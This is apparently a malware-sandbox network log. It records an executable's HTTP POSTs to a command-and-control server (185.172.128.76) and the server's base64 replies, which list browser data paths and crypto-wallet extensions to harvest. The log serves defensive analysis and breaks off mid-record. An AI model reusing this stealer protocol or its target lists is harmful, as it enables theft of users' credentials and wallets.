Apr 23, 2024 09:33:17.150935888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:17.277287960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:17.277455091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:17.283251047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:17.283279896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:17.488739014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:17.488778114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:17.613472939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:17.613687038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:17.618684053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:17.618711948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:17.824079037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:17.824265003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:17.978502035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:17.978569031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:17.984512091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:17.984544039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:18.189932108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:18.189949989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:18.318669081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:18.318793058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:18.323512077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:18.323551893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:18.529077053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:18.529120922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:18.648850918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:18.648929119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:18.654206038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:18.654242992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:18.859684944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:18.859741926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:18.977077007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:18.977328062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:18.982557058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:18.982580900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:19.187975883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:19.188019037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:19.312968969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:19.313062906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:19.318789005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:19.318819046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:19.524385929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:19.524409056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:19.644676924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:19.644798040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:19.657860994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:19.657901049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:19.863306046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:19.863363028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.010133028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.010236025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.034723997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.240659952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.364212990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.364335060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.467679977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.467820883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.467900038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.673230886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673252106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673263073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673274994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673286915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.673321009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673330069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.673331976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673341036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673356056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.673396111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:20.673408031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673444033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673453093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673523903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673558950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673639059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673660994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673671007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673731089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673835039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673912048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673923016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673933029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.673968077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.674006939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.674050093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.674060106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.674077034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.879750967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.879833937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.879844904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.879854918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.879864931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.879873991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.879884958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.879986048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.879997015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.880004883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:20.880158901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:21.163136959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:21.163335085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:21.197700977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:21.403963089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:21.530983925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:21.531076908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:34.928410053 CEST	49704	80	192.168.2.5	185.172.128.76

HTTP Request Dependency Graph

185.172.128.76

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.172.128.76	80	3808	C:\Users\user\Desktop\4JgB4mYxvJ.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 09:32:53.782581091 CEST	417	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.172.128.76 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 33 46 41 33 30 41 45 41 31 44 33 36 36 33 38 31 32 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="hwid"553FA30AEA1D3663812181------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="build"default10------BGIDBKKKKKFBGDGDHIDB--
Apr 23, 2024 09:32:54.172545910 CEST	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:32:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Vary: Accept-Encoding Data Raw: 4d 54 68 6c 4e 44 56 69 4d 44 45 35 5a 6a 42 68 5a 44 4d 7a 4f 44 41 7a 4e 54 51 78 5a 54 55 7a 4e 54 4a 6d 4e 44 6c 69 5a 44 4a 6a 4e 6d 49 30 59 6d 4d 7a 5a 6a 55 79 5a 54 49 32 4e 7a 63 7a 5a 6a 45 32 4f 54 67 33 5a 47 4e 68 4f 57 51 32 4e 54 42 68 59 54 4d 32 59 57 45 77 5a 44 42 6c 66 44 45 34 4d 54 67 78 4e 6a 5a 38 4e 54 45 35 4d 54 6b 78 4f 44 67 31 4c 6d 5a 70 62 47 56 38 4d 58 77 77 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 41 3d 3d Data Ascii: MThlNDViMDE5ZjBhZDMzODAzNTQxZTUzNTJmNDliZDJjNmI0YmMzZjUyZTI2NzczZjE2OTg3ZGNhOWQ2NTBhYTM2YWEwZDBlfDE4MTgxNjZ8NTE5MTkxODg1LmZpbGV8MXwwfDF8MXwxfDF8MXwxfA==
Apr 23, 2024 09:32:54.174578905 CEST	469	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFII Host: 185.172.128.76 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 30 31 39 66 30 61 64 33 33 38 30 33 35 34 31 65 35 33 35 32 66 34 39 62 64 32 63 36 62 34 62 63 33 66 35 32 65 32 36 37 37 33 66 31 36 39 38 37 64 63 61 39 64 36 35 30 61 61 33 36 61 61 30 64 30 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 2d 2d 0d 0a Data Ascii: ------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="message"browsers------JKFHIIEHIEGDHJJJKFII--
Apr 23, 2024 09:32:54.489141941 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:32:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 4e 6f 5a 57 52 76 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 61 47 56 6b 62 33 52 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 35 6c 65 47 56 38 4d 7a 59 77 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 44 4d 32 4d 45 4a 79 62 33 64 7a 5a 58 4a 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 55 56 46 43 63 6d 39 33 63 32 56 79 66 46 78 55 5a 57 35 6a 5a 57 35 30 58 46 46 52 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb
Apr 23, 2024 09:32:54.489176035 CEST	427	IN	Data Raw: 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 Data Ascii: 21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQ
Apr 23, 2024 09:32:54.510360956 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 30 31 39 66 30 61 64 33 33 38 30 33 35 34 31 65 35 33 35 32 66 34 39 62 64 32 63 36 62 34 62 63 33 66 35 32 65 32 36 37 37 33 66 31 36 39 38 37 64 63 61 39 64 36 35 30 61 61 33 36 61 61 30 64 30 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="message"plugins------EBGIDGCAFCBKECAAKJJK--
Apr 23, 2024 09:32:54.821628094 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:32:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5416 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 62 6d 70 74 5a 47 74 75 61 47 74 70 62 6d 6c 6d 62 6d 74 6e 5a 47 4e 6e 5a 32 4e 6d 62 6d 68 6b 59 57 46 74 62 57 31 71 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 6d 62 6d 70 6f 62 57 74 6f 61 47 31 72 59 6d 70 72 61 32 46 69 62 6d 52 6a 62 6d 35 76 5a 32 46 6e 62 32 64 69 62 6d 56 6c 59 33 77 78 66 44 42 38 4d 48 78 4f 5a 57 39 4d 61 57 35 6c 66 47 4e 77 61 47 68 73 5a 32 31 6e 59 57 31 6c 62 32 52 75 61 47 74 71 5a 47 31 72 63 47 46 75 62 47 56 73 62 6d 78 76 61 47 46 76 66 44 46 38 4d 48 77 77 66 45 4e 4d 56 69 42 58 59 57 78 73 5a 58 52 38 62 6d 68 75 61 32 4a 72 5a 32 70 70 61 32 64 6a 61 57 64 68 5a 47 39 74 61 33 42 6f 59 57 78 68 62 6d 35 6b 59 32 46 77 61 6d 74 38 4d 58 77 77 66 44 42 38 54 47 6c 78 64 57 46 73 61 58 52 35 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 Data Ascii: 